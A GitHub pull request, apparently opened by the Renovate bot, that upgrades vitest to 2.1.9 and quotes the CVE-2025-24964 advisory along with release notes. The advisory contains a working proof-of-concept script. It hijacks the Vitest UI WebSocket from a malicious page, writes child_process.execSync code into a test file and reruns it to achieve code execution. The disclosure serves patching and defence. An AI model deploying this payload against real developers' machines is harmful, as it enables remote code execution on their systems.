Skip to content

chore(deps): update dependency vitest to v2.1.9 [security] #99

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom
Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open

chore(deps): update dependency vitest to v2.1.9 [security] #99

wants to merge 1 commit into from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Feb 4, 2025 •
edited
Loading

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 2.0.5 -> 2.1.9 age confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v2.1.8

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.7

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.6

Compare Source

🚀 Features

  • Support Vite 6
    View changes on GitHub

v2.1.5

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.4

Compare Source

   🚀 Features

This patch release includes a non-breaking feature for the experimental Browser Mode that doesn't follow SemVer. If you want to avoid picking up releases like this, make sure to pin the Vitest version in your package.json. See npm's documentation about semver for more information.

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.3

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.0

Compare Source

This release makes another big change to the Browser Mode by introducing locators API:

test('renders blog posts', async () => {
  const screen = page.render(<Blog />)

  await expect.element(screen.getByRole('heading', { name: 'Blog' })).toBeInTheDocument()

  const [firstPost] = screen.getByRole('listitem').all()

  await firstPost.getByRole('button', { name: 'Delete' }).click()

  expect(screen.getByRole('listitem').all()).toHaveLength(3)
})

You can use either vitest-browser-vue, vitest-browser-svelte or vitest-browser-react to render components and make assertions using locators. Locators are also available on the page object from @vitest/browser/context.

Potential Breaking Change
  • workspace:
    • Correctly resolve workspace globs and file paths  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/6316 (afdcb)
    • This changes how the custom glob pattern in the workspace config is treated. Any file matching the glob is considered a Vitest config file. Any folder matching the glob pattern is treated as a workspace project and is subject to the regular config resolution (single vitest.config.ts or vite.config.ts inside the folder)
    • For example, projects/* will match anything inside the projects folder. If it's a folder, we try to find the config inside that folder (if there is none, it is still treated as a project with the default config). If it's a file, it will be treated as a Vitest config. projects/**/* previously would assume that you only wanted to have folders as projects, but now it will match every single file insideprojects.
    • This change doesn't affect non-glob usage.
   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the security label Feb 4, 2025
@renovate renovate bot enabled auto-merge (squash) February 4, 2025 17:35
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 92b4b42 to bc25b42 Compare March 3, 2025 17:08
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 0daba56 to 502fc0e Compare March 17, 2025 16:15
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 502fc0e to f40cd7f Compare April 1, 2025 12:06
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from f40cd7f to 6532298 Compare April 8, 2025 13:53
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 6532298 to 83d4c5c Compare April 24, 2025 07:55
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 83d4c5c to 1ae255f Compare May 19, 2025 16:03
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 1ae255f to b927434 Compare June 6, 2025 04:44
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from b927434 to 90191e4 Compare June 22, 2025 12:26
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 90191e4 to 8a43ab0 Compare July 5, 2025 15:57
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 8a43ab0 to cb46ab0 Compare August 10, 2025 14:02
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers

@renovate-approve renovate-approve[bot] renovate-approve[bot] approved these changes

Assignees
No one assigned
Labels
security
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
0 participants